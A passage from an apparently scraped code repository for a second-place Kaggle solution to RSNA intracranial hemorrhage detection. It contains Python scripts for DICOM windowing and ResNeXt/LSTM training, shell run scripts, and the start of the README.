'scripts')\nfrom logs import get_logger, dumpobj, loadobj\n\n# Print info about environments\nlogger = get_logger('Prepare Data', 'INFO') # noqa\nlogger.info('Cuda set up : time {}'.format(datetime.datetime.now().time()))\n\ndef get_dicom_value(x, cast=int):\n if type(x) in [pydicom.multival.MultiValue, tuple]:\n return cast(x[0])\n else:\n return cast(x)\n\n\ndef cast(value):\n if type(value) is pydicom.valuerep.MultiValue:\n return tuple(value)\n return value\n\n\ndef get_dicom_raw(dicom):\n return {attr:cast(getattr(dicom,attr)) for attr in dir(dicom) if attr[0].isupper() and attr not in ['PixelData']}\n\n\ndef rescale_image(image, slope, intercept):\n return image * slope + intercept\n\n\ndef apply_window(image, center, width):\n image = image.copy()\n min_value = center - width // 2\n max_value = center + width // 2\n image[image < min_value] = min_value\n image[image > max_value] = max_value\n return image\n\n\ndef get_dicom_meta(dicom):\n return {\n 'PatientID': dicom.PatientID, # can be grouped (20-548)\n 'StudyInstanceUID': dicom.StudyInstanceUID, # can be grouped (20-60)\n 'SeriesInstanceUID': dicom.SeriesInstanceUID, # can be grouped (20-60)\n 'WindowWidth': get_dicom_value(dicom.WindowWidth),\n 'WindowCenter': get_dicom_value(dicom.WindowCenter),\n 'RescaleIntercept': float(dicom.RescaleIntercept),\n 'RescaleSlope': float(dicom.RescaleSlope), # all same (1.0)\n }\n\n\ndef apply_window_policy(image):\n\n image1 = apply_window(image, 40, 80) # brain\n image2 = apply_window(image, 80, 200) # subdural\n image3 = apply_window(image, 40, 380) # bone\n image1 = (image1 - 0) / 80\n image2 = (image2 - (-20)) / 200\n image3 = (image3 - (-150)) / 380\n image = np.array([\n image1 - image1.mean(),\n image2 - image2.mean(),\n image3 - image3.mean(),\n ]).transpose(1,2,0)\n\n return image\n\ndef convert_dicom_to_jpg(name):\n try:\n \n data = f.read(name)\n dirtype = 'train' if 'train' in name else 'test'\n imgnm = (name.split('/')[-1]).replace('.dcm', '')\n # print(PATHPROC+\"/\"+ imgnm+'.jpg')\n if os.path.exists(PATHPROC +\"/\"+ imgnm + '.jpg'):\n # return\n print(imgnm+\".jpg is existed.\" )\n else:\n dicom = pydicom.dcmread(DicomBytesIO(data))\n image = dicom.pixel_array\n image = rescale_image(image, rescaledict['RescaleSlope'][imgnm], rescaledict['RescaleIntercept'][imgnm])\n image = apply_window_policy(image)\n image -= image.min((0,1))\n image = (255*image).astype(np.uint8)\n cv2.imwrite(os.path.join(PATHPROC, imgnm)+'.jpg', image)\n except:\n logger.info(name)\n \ndef generate_df(base, files):\n train_di = {}\n\n for filename in tqdm(files):\n path = os.path.join( base , filename)\n dcm = pydicom.dcmread(path)\n all_keywords = dcm.dir()\n ignored = ['Rows', 'Columns', 'PixelData']\n\n for name in all_keywords:\n if name in ignored:\n continue\n\n if name not in train_di:\n train_di[name] = []\n\n train_di[name].append(dcm[name].value)\n\n df = pd.DataFrame(train_di)\n \n return df\n\n\n\nDATAPATH = '../data/'\nTRAIN_DIR = os.path.join(DATAPATH, 'raw/sample_png/stage_2_train')\nTEST_DIR = os.path.join(DATAPATH, 'raw/sample_png/stage_2_test')\nPATHPROC = os.path.join(DATAPATH, 'proc')\n\n\n\n# logger.info('Create test meta files')\n# test_files = os.listdir(TEST_DIR)\n# test_df = generate_df(TEST_DIR, test_files)\n# test_df.to_csv(os.path.join(DATAPATH, 'test_metadata.csv'))\n\n# logger.info('Create train meta files')\n# train_files = os.listdir(TRAIN_DIR)\n# train_df = generate_df(TRAIN_DIR, train_files)\n# train_df.to_csv(os.path.join(DATAPATH, 'train_metadata.csv'))\n\n\n\nlogger.info('Load meta files')\ntrnmdf = pd.read_csv(os.path.join(DATAPATH, 'train_metadata.csv'))\nlogger.info('Train meta shape {} {}'.format(*trnmdf.shape))\n\ntstmdf = pd.read_csv(os.path.join(DATAPATH, 'test_metadata.csv'))\nlogger.info('Test meta shape {} {}'.format(*tstmdf.shape))\n\n\nmdf = pd.concat([trnmdf, tstmdf], 0)\nrescaledict = mdf.set_index('SOPInstanceUID')[['RescaleSlope', 'RescaleIntercept']].to_dict()\n\nif not os.path.exists(PATHPROC):\n os.mkdir(PATHPROC)\n \nlogger.info('Create windowed images')\n# with zipfile.ZipFile(os.path.join(DATAPATH, \"raw/rsna-intracranial-hemorrhage-detection.zip\"), \"r\") as f:\nwith zipfile.ZipFile(os.path.join(DATAPATH, \"raw/rsna-intracranial-hemorrhage-detection.zip\"), \"r\") as f:\n for t, name in enumerate(tqdm(f.namelist())):\n# for t, name in enumerate(f.namelist()):\n# print(name)\n convert_dicom_to_jpg(name)" }, { "alpha_fraction": 0.6561433672904968, "alphanum_fraction": 0.7406143546104431, "avg_line_length": 39.41379165649414, "blob_id": "5d6731ab52f387188073dc97b2fc62b88277e82c", "content_id": "0b7d28f32161fae7021bf59e21426d65ef0a5b5d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1172, "license_type": "no_license", "max_line_length": 142, "num_lines": 29, "path": "/bin/run_31_fastprediction_only.sh", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "N_GPU=2\nWDIR='resnext101v12fold1'\nFOLD=1\nSIZE='480'\n\n# Download pretrained embeddings for stage 1 only (25 minutes with fast connection - 16GB file )\n#pip install gdown\n#gdown https://drive.google.com/uc?id=13hqPFdCjoMxtAwF863J3Dk33TcBN_wie -O resnext101v12fold1.tar.gz\n#gunzip resnext101v12fold1.tar.gz\n#tar -xvf resnext101v12fold1.tar\n\n# Download stage 1 test and train data files\n#cd resnext101v12fold1/\n#gdown https://drive.google.com/uc?id=1Fbx3PQHRmJZFc1VNuLKKnnuNUxF1dLe0\n#gdown https://drive.google.com/uc?id=1XpNW6axRXTfDjLEUD2p48Kro-eZRdO-k\n#gdown https://drive.google.com/uc?id=15H0b0Ce_3SrvefC22fszekBibGDYEefs\n#3gdown https://drive.google.com/uc?id=1KcF51RnQpSjCBgNzbI4UX2EaUfOS1zHq\ncd ../\n\n# Run LSTM for each of the epochs (~1 hour)\nfor GEPOCH in 0 1 2 3\ndo \n python3 scripts/trainlstm.py \\\n --logmsg Rsna-lstm-$GEPOCH-$FOLD-fp16 --epochs 12 --fold $FOLD --lr 0.00001 --batchsize 4 --workpath $WDIR \\\n --datapath $WDIR --ttahflip F --ttatranspose F --lrgamma 0.95 --nbags 12 --globalepoch $GEPOCH --loadcsv F --lstm_units 2048\ndone\n\n# Create Bagged submission (a minute)\npython scripts/bagged_submission.py\n" }, { "alpha_fraction": 0.6423172354698181, "alphanum_fraction": 0.6579564809799194, "avg_line_length": 40.588077545166016, "blob_id": "b177b299c854f621c49f2bb50fcef6c6ca6af58c", "content_id": "af3d68305b7ece6ec5d5df4e5aef5da442d52792", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15346, "license_type": "no_license", "max_line_length": 142, "num_lines": 369, "path": "/scripts/trainorig.py", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport optparse\nimport os, sys\nimport numpy as np \nimport pandas as pd\nfrom PIL import Image\nimport torch\nfrom torch.optim.lr_scheduler import _LRScheduler\nfrom torch.optim.lr_scheduler import ReduceLROnPlateau\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom sklearn.model_selection import KFold\n\nimport os\nimport cv2\nimport glob\nimport numpy as np\nimport pandas as pd\nimport torch.optim as optim\n\nfrom albumentations import Compose, ShiftScaleRotate, Resize\nfrom albumentations.pytorch import ToTensor\nfrom torch.utils.data import Dataset\nfrom sklearn.metrics import log_loss\nfrom torch.utils.data import DataLoader\n\nimport cv2\nimport gc\nimport random\nimport logging\nimport datetime\n\nimport torchvision\nfrom torchvision import transforms as T\nfrom torchvision.models.resnet import ResNet, Bottleneck\nfrom torch.hub import load_state_dict_from_url\nfrom torchvision.models.resnet import ResNet, Bottleneck\n\nfrom albumentations import (Cutout, Compose, Normalize, RandomRotate90, HorizontalFlip,\n VerticalFlip, ShiftScaleRotate, Transpose, OneOf, IAAAdditiveGaussianNoise,\n GaussNoise, RandomGamma, RandomContrast, RandomBrightness, HueSaturationValue,\n RandomBrightnessContrast, Lambda, NoOp, CenterCrop, Resize\n )\n\nfrom tqdm import tqdm\nfrom apex import amp\n\nfrom apex.parallel import DistributedDataParallel as DDP\nfrom apex.fp16_utils import *\nfrom apex import amp, optimizers\nfrom apex.multi_tensor_apply import multi_tensor_applier\n\n\nimport warnings\nwarnings.filterwarnings('ignore')\n\n# Print info about environments\nparser = optparse.OptionParser()\nparser.add_option('-s', '--seed', action=\"store\", dest=\"seed\", help=\"model seed\", default=\"1234\")\nparser.add_option('-o', '--fold', action=\"store\", dest=\"fold\", help=\"Fold for split\", default=\"0\")\nparser.add_option('-p', '--nbags', action=\"store\", dest=\"nbags\", help=\"Number of bags for averaging\", default=\"0\")\nparser.add_option('-e', '--epochs', action=\"store\", dest=\"epochs\", help=\"epochs\", default=\"5\")\nparser.add_option('-j', '--start', action=\"store\", dest=\"start\", help=\"Start epochs\", default=\"0\")\nparser.add_option('-b', '--batchsize', action=\"store\", dest=\"batchsize\", help=\"batch size\", default=\"16\")\nparser.add_option('-r', '--rootpath', action=\"store\", dest=\"rootpath\", help=\"root directory\", default=\"/share/dhanley2/submit/rsna/\")\nparser.add_option('-i', '--imgpath', action=\"store\", dest=\"imgpath\", help=\"root directory\", default=\"data/mount/512X512X6/\")\nparser.add_option('-w', '--workpath', action=\"store\", dest=\"workpath\", help=\"Working path\", default=\"densenetv1/weights\")\nparser.add_option('-f', '--weightsname', action=\"store\", dest=\"weightsname\", help=\"Weights file name\", default=\"pytorch_model.bin\")\nparser.add_option('-l', '--lr', action=\"store\", dest=\"lr\", help=\"learning rate\", default=\"0.00005\")\nparser.add_option('-g', '--logmsg', action=\"store\", dest=\"logmsg\", help=\"root directory\", default=\"Recursion-pytorch\")\nparser.add_option('-c', '--size', action=\"store\", dest=\"size\", help=\"model size\", default=\"512\")\nparser.add_option('-a', '--infer', action=\"store\", dest=\"infer\", help=\"root directory\", default=\"TRN\")\nparser.add_option('-z', '--wtsize', action=\"store\", dest=\"wtsize\", help=\"model size\", default=\"999\")\nparser.add_option('-m', '--hflip', action=\"store\", dest=\"hflip\", help=\"Augmentation - Embedding horizontal flip\", default=\"F\")\nparser.add_option('-d', '--transpose', action=\"store\", dest=\"transpose\", help=\"Augmentation - Embedding transpose\", default=\"F\")\nparser.add_option('-x', '--stage2', action=\"store\", dest=\"stage2\", help=\"Stage2 embeddings only\", default=\"F\")\nparser.add_option('-y', '--autocrop', action=\"store\", dest=\"autocrop\", help=\"Autocrop\", default=\"T\")\n\n\n\noptions, args = parser.parse_args()\npackage_dir = options.rootpath\nsys.path.append(package_dir)\nsys.path.insert(0, 'scripts')\nfrom logs import get_logger\nfrom utils import dumpobj, loadobj, GradualWarmupScheduler\n\n\n# Print info about environments\nlogger = get_logger(options.logmsg, 'INFO') # noqa\nlogger.info('Cuda set up : time {}'.format(datetime.datetime.now().time()))\n\ndevice=torch.device('cuda')\nlogger.info('Device : {}'.format(torch.cuda.get_device_name(0)))\nlogger.info('Cuda available : {}'.format(torch.cuda.is_available()))\nn_gpu = torch.cuda.device_count()\nlogger.info('Cuda n_gpus : {}'.format(n_gpu ))\n\n\nlogger.info('Load params : time {}'.format(datetime.datetime.now().time()))\nfor (k,v) in options.__dict__.items():\n logger.info('{}{}'.format(k.ljust(20), v))\n\nSEED = int(options.seed)\nSIZE = int(options.size)\nWTSIZE=int(options.wtsize) if int(options.wtsize) != 999 else SIZE\nEPOCHS = int(options.epochs)\nSTART = int(options.start)\nAUTOCROP=options.autocrop=='T'\nn_epochs = EPOCHS \nlr=float(options.lr)\nbatch_size = int(options.batchsize)\nROOT = options.rootpath\npath_data = os.path.join(ROOT, 'data')\npath_img = os.path.join(ROOT, options.imgpath)\nWORK_DIR = os.path.join(ROOT, options.workpath)\nWEIGHTS_NAME = options.weightsname\nfold = int(options.fold)\nINFER=options.infer\nHFLIP = 'T' if options.hflip=='T' else ''\nTRANSPOSE = 'P' if options.transpose=='T' else ''\nSTAGE2=options.stage2=='T'\n\n\n#classes = 1109\ndevice = 'cuda'\nprint('Data path : {}'.format(path_data))\nprint('Image path : {}'.format(path_img))\n\nos.environ[\"TORCH_HOME\"] = os.path.join( path_data, 'mount')\nlogger.info(os.system('$TORCH_HOME'))\n\nclass Identity(nn.Module):\n def __init__(self):\n super(Identity, self).__init__()\n \n def forward(self, x):\n return x\n\ndef autocrop(image, threshold=0):\n \"\"\"Crops any edges below or equal to threshold\n Crops blank image to 1x1.\n Returns cropped image.\n https://stackoverflow.com/questions/13538748/crop-black-edges-with-opencv\n \"\"\"\n\n if len(image.shape) == 3:\n flatImage = np.max(image, 2)\n else:\n flatImage = image\n rows = np.where(np.max(flatImage, 0) > threshold)[0]\n cols = np.where(np.max(flatImage, 1) > threshold)[0]\n image = image[cols[0]: cols[-1] + 1, rows[0]: rows[-1] + 1]\n #logger.info(image.shape)\n sqside = max(image.shape)\n imageout = np.zeros((sqside, sqside, 3), dtype = 'uint8')\n imageout[:image.shape[0], :image.shape[1],:] = image.copy()\n return imageout\n\nclass IntracranialDataset(Dataset):\n\n def __init__(self, df, path, labels, transform=None):\n self.path = path\n self.data = df\n self.transform = transform\n self.labels = labels\n self.crop = AUTOCROP\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, idx):\n img_name = os.path.join(self.path, self.data.loc[idx, 'Image'] + '.jpg')\n #img = cv2.imread(img_name, cv2.IMREAD_GRAYSCALE) \n img = cv2.imread(img_name) \n if self.crop:\n try:\n try:\n img = autocrop(img, threshold=0, kernsel_size = image.shape[0]//15)\n except:\n img = autocrop(img, threshold=0) \n except:\n 1 \n img = cv2.resize(img,(SIZE,SIZE))\n if self.transform: \n augmented = self.transform(image=img)\n img = augmented['image'] \n if self.labels:\n labels = torch.tensor(\n self.data.loc[idx, label_cols])\n return {'image': img, 'labels': labels} \n else: \n return {'image': img}\n\nnp.random.seed(SEED)\ntorch.manual_seed(SEED)\ntorch.cuda.manual_seed(SEED)\nif n_gpu > 0:\n torch.cuda.manual_seed_all(SEED)\ntorch.backends.cudnn.deterministic = True\n \nlogger.info('Load Dataframes')\ndir_train_img = os.path.join(path_data, 'proc/')\ndir_test_img = os.path.join(path_data, 'proc/')\n\n# Parameters\nn_classes = 6\nlabel_cols = ['epidural', 'intraparenchymal', 'intraventricular', 'subarachnoid', 'subdural', 'any']\n\ntrain = pd.read_csv(os.path.join(path_data, 'train.csv.gz'))\ntest = pd.read_csv(os.path.join(path_data, 'test.csv.gz'))\nlogger.info('Trn shape {} {}'.format(*train.shape))\nlogger.info('Tst shape {} {}'.format(*test.shape))\n\n\nlogger.info('Processed img path : {}'.format(os.path.join(dir_train_img, '**.jpg')))\n\npng = glob.glob(os.path.join(dir_train_img, '*.jpg'))\npng = [os.path.basename(png)[:-4] for png in png]\nlogger.info('Count of pngs : {}'.format(len(png)))\n\ntrain_imgs = set(train.Image.tolist())\npng = [p for p in png if p in train_imgs]\nlogger.info('Number of images to train on {}'.format(len(png)))\npng = np.array(png)\ntrain = train.set_index('Image').loc[png].reset_index()\nlogger.info('Trn shape {} {}'.format(*train.shape))\n\n# get fold\nvaldf = train[train['fold']==fold].reset_index(drop=True)\ntrndf = train[train['fold']!=fold].reset_index(drop=True)\n# To make things easy, if the val dataset is empty, we will sanity check it on some records\nif valdf.shape[0]==0:\n valdf = trndf.head(1000).copy()\nlogger.info('Trn shape {} {}'.format(*trndf.shape))\nlogger.info('Val shape {} {}'.format(*valdf.shape))\n\n\n# Data loaders\nmean_img = [0.22363983, 0.18190407, 0.2523437 ]\nstd_img = [0.32451536, 0.2956294, 0.31335256]\ntransform_train = Compose([\n HorizontalFlip(p=0.5),\n ShiftScaleRotate(shift_limit=0.05, scale_limit=0.05, \n rotate_limit=20, p=0.3, border_mode = cv2.BORDER_REPLICATE),\n Transpose(p=0.5),\n Normalize(mean=mean_img, std=std_img, max_pixel_value=255.0, p=1.0),\n ToTensor()\n])\n\nHFLIPVAL = 1.0 if HFLIP == 'T' else 0.0\nTRANSPOSEVAL = 1.0 if TRANSPOSE == 'P' else 0.0\ntransform_test= Compose([\n HorizontalFlip(p=HFLIPVAL),\n Transpose(p=TRANSPOSEVAL),\n Normalize(mean=mean_img, std=std_img, max_pixel_value=255.0, p=1.0),\n ToTensor()\n])\n\ntrndataset = IntracranialDataset(trndf, path=dir_train_img, transform=transform_train, labels=True)\nvaldataset = IntracranialDataset(valdf, path=dir_train_img, transform=transform_test, labels=False)\ntstdataset = IntracranialDataset(test, path=dir_test_img, transform=transform_test, labels=False)\n\n\nnum_workers = 16\ntrnloader = DataLoader(trndataset, batch_size=batch_size, shuffle=True, num_workers=num_workers)\nvalloader = DataLoader(valdataset, batch_size=batch_size*4, shuffle=False, num_workers=num_workers)\ntstloader = DataLoader(tstdataset, batch_size=batch_size*4, shuffle=False, num_workers=num_workers)\n\nmodel = torch.load('checkpoints/resnext101_32x8d_wsl_checkpoint.pth')\nmodel.fc = torch.nn.Linear(2048, n_classes)\nmodel.to(device)\n\ncriterion = torch.nn.BCEWithLogitsLoss()\ndef criterion(data, targets, criterion = torch.nn.BCEWithLogitsLoss()):\n ''' Define custom loss function for weighted BCE on 'target' column '''\n loss_all = criterion(data, targets)\n loss_any = criterion(data[:,-1:], targets[:,-1:])\n return (loss_all*6 + loss_any*1)/7\n\nplist = [{'params': model.parameters(), 'lr': lr}]\noptimizer = optim.Adam(plist, lr=lr)\n\nmodel, optimizer = amp.initialize(model, optimizer, opt_level=\"O1\")\n\nmodel = torch.nn.DataParallel(model, device_ids=list(range(n_gpu)))\n\nfor epoch in range(n_epochs):\n logger.info('Epoch {}/{}'.format(epoch, n_epochs - 1))\n logger.info('-' * 10)\n if INFER == 'TRN':\n for param in model.parameters():\n param.requires_grad = True\n model.train() \n tr_loss = 0\n for step, batch in enumerate(trnloader):\n if step%1000==0:\n logger.info('Train step {} of {}'.format(step, len(trnloader)))\n inputs = batch[\"image\"]\n labels = batch[\"labels\"]\n inputs = inputs.to(device, dtype=torch.float)\n labels = labels.to(device, dtype=torch.float)\n outputs = model(inputs)\n loss = criterion(outputs, labels)\n with amp.scale_loss(loss, optimizer) as scaled_loss:\n scaled_loss.backward()\n tr_loss += loss.item()\n optimizer.step()\n optimizer.zero_grad()\n del inputs, labels, outputs\n epoch_loss = tr_loss / len(trnloader)\n logger.info('Training Loss: {:.4f}'.format(epoch_loss))\n for param in model.parameters():\n param.requires_grad = False\n output_model_file = os.path.join(WORK_DIR, 'weights/model_{}_epoch{}_fold{}.bin'.format(WTSIZE, epoch, fold))\n torch.save(model.state_dict(), output_model_file)\n else:\n del model\n #model = torch.hub.load('rwightman/gen-efficientnet-pytorch', 'efficientnet_b0', pretrained=True)\n model = torch.load('checkpoints/resnext101_32x8d_wsl_checkpoint.pth')\n model.fc = torch.nn.Linear(2048, n_classes)\n device = torch.device(\"cuda:{}\".format(n_gpu-1))\n model.to(device)\n model = torch.nn.DataParallel(model, device_ids=list(range(n_gpu)[::-1]), output_device=device)\n for param in model.parameters():\n param.requires_grad = False\n input_model_file = os.path.join(WORK_DIR, 'weights/model_{}_epoch{}_fold{}.bin'.format(WTSIZE, epoch, fold))\n model.load_state_dict(torch.load(input_model_file))\n model.to(device)\n model.eval()\n logger.info(model.parameters())\n \n if INFER=='EMB':\n logger.info('Output embeddings epoch {}'.format(epoch))\n logger.info('Train shape {} {}'.format(*trndf.shape))\n logger.info('Valid shape {} {}'.format(*valdf.shape))\n logger.info('Test shape {} {}'.format(*test.shape)) \n trndataset = IntracranialDataset(trndf, path=dir_train_img, transform=transform_test, labels=False)\n valdataset = IntracranialDataset(valdf, path=dir_train_img, transform=transform_test, labels=False)\n tstdataset = IntracranialDataset(test, path=dir_test_img, transform=transform_test, labels=False)\n\n trnloader = DataLoader(trndataset, batch_size=batch_size*4, shuffle=False, num_workers=num_workers)\n valloader = DataLoader(valdataset, batch_size=batch_size*4, shuffle=False, num_workers=num_workers)\n tstloader = DataLoader(tstdataset, batch_size=batch_size*4, shuffle=False, num_workers=num_workers)\n\n # Extract embedding layer\n model.module.fc = Identity()\n model.eval()\n DATASETS = ['tst', 'val', 'trn'] \n LOADERS = [tstloader, valloader, trnloader]\n for typ, loader in zip(DATASETS, LOADERS):\n ls = []\n for step, batch in enumerate(loader):\n if step%1000==0:\n logger.info('Embedding {} step {} of {}'.format(typ, step, len(loader)))\n inputs = batch[\"image\"]\n inputs = inputs.to(device, dtype=torch.float)\n out = model(inputs)\n ls.append(out.detach().cpu().numpy())\n outemb = np.concatenate(ls, 0).astype(np.float32)\n logger.info('Write embeddings : shape {} {}'.format(*outemb.shape))\n fembname = 'emb{}_{}_size{}_fold{}_ep{}'.format(HFLIP+TRANSPOSE, typ, SIZE, fold, epoch)\n logger.info('Embedding file name : {}'.format(fembname))\n np.savez_compressed(os.path.join(WORK_DIR, 'emb{}_{}_size{}_fold{}_ep{}'.format(HFLIP+TRANSPOSE, typ, SIZE, fold, epoch)), outemb)\n dumpobj(os.path.join(WORK_DIR, 'loader{}_{}_size{}_fold{}_ep{}'.format(HFLIP+TRANSPOSE, typ, SIZE, fold, epoch)), loader)\n gc.collect()\n" }, { "alpha_fraction": 0.5779310464859009, "alphanum_fraction": 0.6593103408813477, "avg_line_length": 33.52381134033203, "blob_id": "fd5de74dfe41c4195fabf3217a835b522444664f", "content_id": "fabd6e83c9f531dc45162c705d619e807c207da5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 725, "license_type": "no_license", "max_line_length": 131, "num_lines": 21, "path": "/bin/run_11_trainfull_imgclassifier.sh", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "N_GPU=4\nWDIR='resnext101v01'\nFOLD=0\nSIZE='480'\n\n# Run with cropping\nfor FOLD in 0 1 2 \ndo\n python3 scripts/trainorig.py \\\n --logmsg Rsna-lb-$SIZE-fp16 --start 0 --epochs 5 --fold $FOLD --lr 0.00002 --batchsize 64 --workpath scripts/$WDIR \\\n --imgpath data/proc/ --size $SIZE --weightsname weights/model_512_resnext101$FOLD.bin --autocrop T\ndone\n\n# Run without cropping\nWDIR='resnext101v02'\nfor FOLD in 0 1 2 \ndo\n python3 scripts/trainorig.py \\\n --logmsg Rsna-lb-$SIZE-fp16 --start 0 --epochs 5 --fold $FOLD --lr 0.00002 --batchsize 64 --workpath scripts/$WDIR \\\n --imgpath data/proc/ --size $SIZE --weightsname weights/model_512_resnext101$FOLD.bin --autocrop F\ndone\n" }, { "alpha_fraction": 0.6487252116203308, "alphanum_fraction": 0.727337121963501, "avg_line_length": 34.275001525878906, "blob_id": "505d8468d472597b84220f4e4e60e84db36d3619", "content_id": "bf021810801f5cca1b6554d39cde6e5ba07e5eca", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1412, "license_type": "no_license", "max_line_length": 142, "num_lines": 40, "path": "/bin/hbcho_31_fastprediction_only.sh", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "#!/bin/bash\n## GPU selection ##\nexport CUDA_VISIBLE_DEVICES=0:\n\nSECONDS=0\n\nN_GPU=2\nWDIR='bin/resnext101v12fold1'\nFOLD=1\nSIZE='480'\n\nROOT='/data/hbcho/rsna-master'\n\n# Download pretrained embeddings for stage 1 only (25 minutes with fast connection - 16GB file )\n#pip install gdown\n#gdown https://drive.google.com/uc?id=13hqPFdCjoMxtAwF863J3Dk33TcBN_wie -O resnext101v12fold1.tar.gz\n#gunzip resnext101v12fold1.tar.gz\n#tar -xvf resnext101v12fold1.tar\n\n# Download stage 1 test and train data files\n#cd resnext101v12fold1/\n#gdown https://drive.google.com/uc?id=1Fbx3PQHRmJZFc1VNuLKKnnuNUxF1dLe0\n#gdown https://drive.google.com/uc?id=1XpNW6axRXTfDjLEUD2p48Kro-eZRdO-k\n#gdown https://drive.google.com/uc?id=15H0b0Ce_3SrvefC22fszekBibGDYEefs\n#3gdown https://drive.google.com/uc?id=1KcF51RnQpSjCBgNzbI4UX2EaUfOS1zHq\ncd ../scripts\n\n# Run LSTM for each of the epochs (~1 hour)\nfor GEPOCH in 0 1 2 3\ndo \n python3 trainlstm_hbcho.py --rootpath $ROOT\\\n --logmsg Rsna-lstm-$GEPOCH-$FOLD-fp16 --epochs 12 --fold $FOLD --lr 0.00001 --batchsize 4 --workpath $WDIR \\\n --datapath $WDIR --ttahflip F --ttatranspose F --lrgamma 0.95 --nbags 12 --globalepoch $GEPOCH --loadcsv F --lstm_units 2048\ndone\n\n# Create Bagged submission (a minute)\npython bagged_submission_hbcho.py\n\nduration=$SECONDS\necho \"Elapsed: $(($SECONDS / 3600))hrs $((($SECONDS / 60) % 60))min $(($SECONDS % 60))sec\"\n\n" }, { "alpha_fraction": 0.6567251682281494, "alphanum_fraction": 0.7064327597618103, "avg_line_length": 39.71428680419922, "blob_id": "f8d5346b65d3371e5464adceb1c03bef4665e12b", "content_id": "29ae4d090e8320aa7d4cb38c56a08712bf2253a9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1710, "license_type": "no_license", "max_line_length": 126, "num_lines": 42, "path": "/bin/train_predict.sh", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "#!/bin/bash\n# 'model_name: VGG16, VGG16_TR, VGG16_TR_FT, INCEPTION_TR_FT, DENSE201_TR_FT, RES50_TR_FT, ALEXNET'\n# layer: INCEPTION_TR_FT --> conv2d_94, DENSE201_TR_FT --> conv5_block32_2_conv, RES50_TR_FT --> res5c_branch2c\n# VGG16_TR_FT --> block5_conv3, ALEXNET --> conv2d_5\n\nSECONDS=0\n\n## Virtual environment setting ##\nsource /home/hbcho/anaconda3/etc/profile.d/conda.sh\nconda activate DPR_tf114-gpu\n#conda activate py36\n\n\n## GPU selection ##\nexport CUDA_VISIBLE_DEVICES=0:\n\n## Training and predction option ##\nDATA=pro #ex) cs, pro, total // cs: CS 9300, pro: ProMax, total: CS 9300 + ProMax\nMODEL=INCEPTION_TR_FT\nSAVE=0427\nFOLD=0 #ex) 0,1,2,3,4,5 // 0: 1-5 folds\nLAYER=conv2d_94\nTHRES=0.5 \n\npython step2_Train.py -data $DATA -model_name $MODEL -save_name $SAVE -fold $FOLD\npython step3_Prediction.py -data $DATA -model_name $MODEL -save_name $SAVE\npython step4_Gradcam.py -data $DATA -model_name $MODEL -save_name $SAVE -activation_layer $LAYER -threshold $THRES -fold $FOLD\n\nDATA=cs\npython step2_Train.py -data $DATA -model_name $MODEL -save_name $SAVE -fold $FOLD\npython step3_Prediction.py -data $DATA -model_name $MODEL -save_name $SAVE\npython step4_Gradcam.py -data $DATA -model_name $MODEL -save_name $SAVE -activation_layer $LAYER -threshold $THRES -fold $FOLD\n\nDATA=total\npython step2_Train.py -data $DATA -model_name $MODEL -save_name $SAVE -fold $FOLD\npython step3_Prediction.py -data $DATA -model_name $MODEL -save_name $SAVE\npython step4_Gradcam.py -data $DATA -model_name $MODEL -save_name $SAVE -activation_layer $LAYER -threshold $THRES -fold $FOLD\n\n\n\nduration=$SECONDS\necho \"Elapsed: $(($SECONDS / 3600))hrs $((($SECONDS / 60) % 60))min $(($SECONDS % 60))sec\"\n" }, { "alpha_fraction": 0.6909492015838623, "alphanum_fraction": 0.740618109703064, "avg_line_length": 58.37704849243164, "blob_id": "ade826ed6277f241dcd79186ee91b165065b258f", "content_id": "f51551d15ad0af2e4fad9b44dfd3a05db846140a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 7384, "license_type": "no_license", "max_line_length": 391, "num_lines": 122, "path": "/README.md", "repo_name": "hbcho87/rsna", "src_encoding": "UTF-8", "text": "### RSNA Intracranial Hemorrhage Detection \nThis is the source code for the second place solution to the [RSNA2019 Intracranial Hemorrhage Detection Challenge](https://www.kaggle.com/c/rsna-intracranial-hemorrhage-detection/overview). \nVideo overview: [link](https://www.youtube.com/watch?v=U7WjTtGSOKA&t=) \n \n##### Hosted on [Kaggle](https://www.kaggle.com/c/rsna-intracranial-hemorrhage-detection/overview); Sponsored by [RSNA](https://www.rsna.org/); Team [NoBrainer](https://www.kaggle.com/c/rsna-intracranial-hemorrhage-detection/team) Darragh Hanley & Dmitry Larko\n \n![](https://media.giphy.com/media/WR38jS4CtKttHd7oTU/giphy.gif) \n\n### Overview \n \nWe have a single image classifier (size `480` images with windowing applied), where data is split on 5 folds, but only trained on 3 of them. We then extract the GAP layer (henceforth, we refer to it as the embedding) from the classifier, with TTA, and feed into an LSTM. The above is run with and without preprocessed crop of images; however, just with preprocessed crop achieves same score.\n\n![Alt text](documentation/rsna_nobrainer.png?raw=true \"Title\")\n\n### Hardware \n \nUbuntu 16.04 LTS (512 GB boot disk) \nSingle Node of 4 x NVIDIA Tesla V100 \n16 GB memory per GPU \n4x 1.92 TB SSD RAID 0 \nDual 20-core Intel® Xeon® \nE5-2698 v4 2.2 GHz \n\n### Software \nPlease install docker and run all within a docker environement. \nA docker file is made available `RSNADOCKER.docker` to build. \nAlternatively you can call dockerhub container `darraghdog/kaggle:apex_build`.\n\n### Data set up \n \n1. Install with `git clone https://github.com/darraghdog/rsna && cd rsna`\n2. Download the raw data and place the zip file `rsna-intracranial-hemorrhage-detection.zip` in subdirectory `./data/raw/`.\n3. Run script `sh ./bin/run_01_prepare_data.sh` to prepare the meta data and perform image windowing. \n**Note**: Hosted pretrained weights are downloaded here. The same weights can be obtained by running the below in the docker. \n```\nimport torch\nmodel = torch.hub.load('facebookresearch/WSL-Images', 'resnext101_32x8d_wsl')\ntorch.save(model, 